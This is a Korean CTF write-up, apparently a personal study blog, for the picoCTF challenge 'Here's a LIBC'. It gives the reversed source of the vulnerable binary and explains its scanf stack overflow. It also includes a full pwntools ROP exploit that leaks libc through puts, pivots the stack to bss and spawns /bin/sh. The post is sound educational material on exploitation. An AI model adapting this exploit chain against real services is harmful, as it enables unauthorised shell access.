[picoctf] Here's a LIBC

dandb3·2023년 6월 26일
0

writeup

목록 보기
1/3

배웠던 것들을 복습할 수 있었던 좋은 문제인것 같다.

보호기법

리버싱(인지 아닌지는 모르겠지만, 어쨌든 어셈블리 코드를 통해 C코드로 변환함)

소스코드

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>

/**
 * 0x61 ~ 0x7a
 * 		odd : 0x61 ~ 0x7a;
 * 		even : 0x41 ~ 0x7a;
 * 
 * 0x41 ~ 0x5a
 * 		odd : 0x61 ~ 0x7a;
 * 		even : 0x41 ~ 0x7a;
 * 
 * else
 * 		same;
 * 
 * odd : lowercase
 * even : uppercase
*/
char convert_case(char ch, long long idx)
{
	if (ch > 0x60 && ch <= 0x7a) {
		if ((idx & 1) != 0)			//odd
			return ch;
		return (ch - 0x20);			//even
	}
	if (ch > 0x40 && ch <= 0x5a) {
		if ((idx & 1) != 0)			//odd
			return (ch + 0x20);
		return ch;					//even
	}
	return ch;
}

void do_stuff()
{
	long long i;
	long long j;
	char buf[0x70];
	j = 0;
	scanf("%[^\n]", buf);
	scanf("%c", buf - 1);
	i = 0;
	while (i <= 0x63) {
		buf[i] = convert_case(buf[i], i);
		++i;
	}
	puts(buf);
}

int main(int argc, char *argv[])
{
	long long index;
	gid_t gid;
	long long n;
	long long j;
	char *v2;

	setbuf(stdout, NULL);
	gid = getegid();
	setresgid(gid, gid, gid);
	n = 0x1b;
	char buf[0x20] = "welcome to my echo server!";
	char buf2[0x20];
	j = n - 1;
	v2 = buf2;
	index = 0;
	while (index < n) {
		v2[index] = convert_case(buf[index], index);
		++index;
	}
	puts(v2);
	while (1)
		do_stuff();
}
  • convert_case
    int 인자에 따라서 들어온 char값을 대/소문자로 바꿔주는 역할을 한다. 그렇게 중요한 역할을 하지는 않는 듯.
  • do_stuff
    얘가 주목할 만한 함수이다.
    • scanf("%[^\n]", buf);
      얘의 역할은, '\n'을 제외한 모든 문자들을 입력으로 받아들이고, '\n'이 나오면 입력을 멈춘다.
      즉, "hello\n" 입력이 들어왔다면 "hello"까지만 두 번째 인자가 가리키는 메모리 주소에 입력하고, "\n"은 버퍼에 남아있게 된다.
    • 주의할 점
      "\n"이 버퍼에 그대로 남아있기 때문에 다음 scanf 호출 시에 입력을 추가로 받지 않고 그냥 함수가 종료된다.
    • scanf("%c", buf - 1);
      이 함수가 버퍼에 남아있는 '\n'을 지워주는 역할을 한다.
      그래서 다음 scanf도 잘 작동하게 된다.

익스플로잇

  • 그래서 취약점은?
    scanf("%[^\n]", buf); 요 부분.
    개행이 오기 전까지 입력을 계속 받아들이기 때문에 stack buffer overflow 취약점이 발생하게 된다.
  • 보호기법을 보면, PIE가 disabled 되어있는데, 이를 통해 rop 공격이 가능할 것이다.

익스플로잇 코드

from pwn import *

r = remote("mercury.picoctf.net", 1774)
#r = process("./vuln")

libc = ELF("../libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bss = 0x601000 + 0x800
scanf_arg = 0x400934
scanf_got = 0x601038
scanf_plt = 0x400580
puts_got = 0x601018
puts_plt = 0x400540
pop_rdi = 0x400913
pop_rsi_r15 = 0x400911
leave_ret = 0x40076f
ret = 0x40052e

stack_payload = b"A" * 0x80
stack_payload += p64(bss)

stack_payload += p64(pop_rdi) + p64(puts_got)
stack_payload += p64(puts_plt)
stack_payload += p64(ret)

stack_payload += p64(pop_rdi) + p64(scanf_arg)
stack_payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
stack_payload += p64(scanf_plt)

stack_payload += p64(leave_ret)

r.sendlineafter(b"R!\n", stack_payload)
r.recvline()

libc_base = u64(r.recvline()[:-1].ljust(8, b"\x00")) - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
print("libc_base:", hex(libc_base))
print("system_addr:", hex(system_addr))

bss_payload = b"/bin/sh\x00"
bss_payload += p64(ret)
bss_payload += p64(pop_rdi) + p64(bss)
bss_payload += p64(system_addr)

r.sendline(bss_payload)

r.interactive()

기본 흐름

  1. got에 저장된 주소와 puts 함수를 통해 libc leak, system 함수의 주소를 구한다.
  2. scanf를 사용하여 bss 영역에 구한 system 함수의 주소를 넣는다.
  3. bss 영역을 fake stack(? 이게 맞나)으로 사용하여 실행 흐름을 조작한다. (그래서 앞에 bss 영역에 system 함수의 주소 뿐만 아니라 rop에 필요한 여러 코드들도 같이 집어넣음.)
  • fake stack을 만드는 방법?
    • 그냥 leave; ret 가젯을 이용하면 된다.
    • rbp 값을 원하는 fake stack의 주소로 바꾸어 놓고, leave; ret을 실행하게 되면 rsp는 rbp가 가지는 값을 가리키게 될 것이다.

새로 알게된 점

  • system 함수 실행시에는 스택이 16바이트 정렬이 되어있어야 된다는 사실을 알고 있었지만, scanf 또한 그래야 한다는 것을 알게 됨.
  • 특히, movaps 명령어가 stack aligned를 체크하게 된다.
  • leave; ret 가젯을 통해 fake stack을 만들 수 있다.
  • 어떤 함수건 간에 내부적으로 rsp를 감소시켜서 동작하므로 fake stack을 이용할 때에는 아래로 쓰기가 가능한 여유 메모리 공간을 남겨 두어야 한다.
profile
공부 내용 저장소

0개의 댓글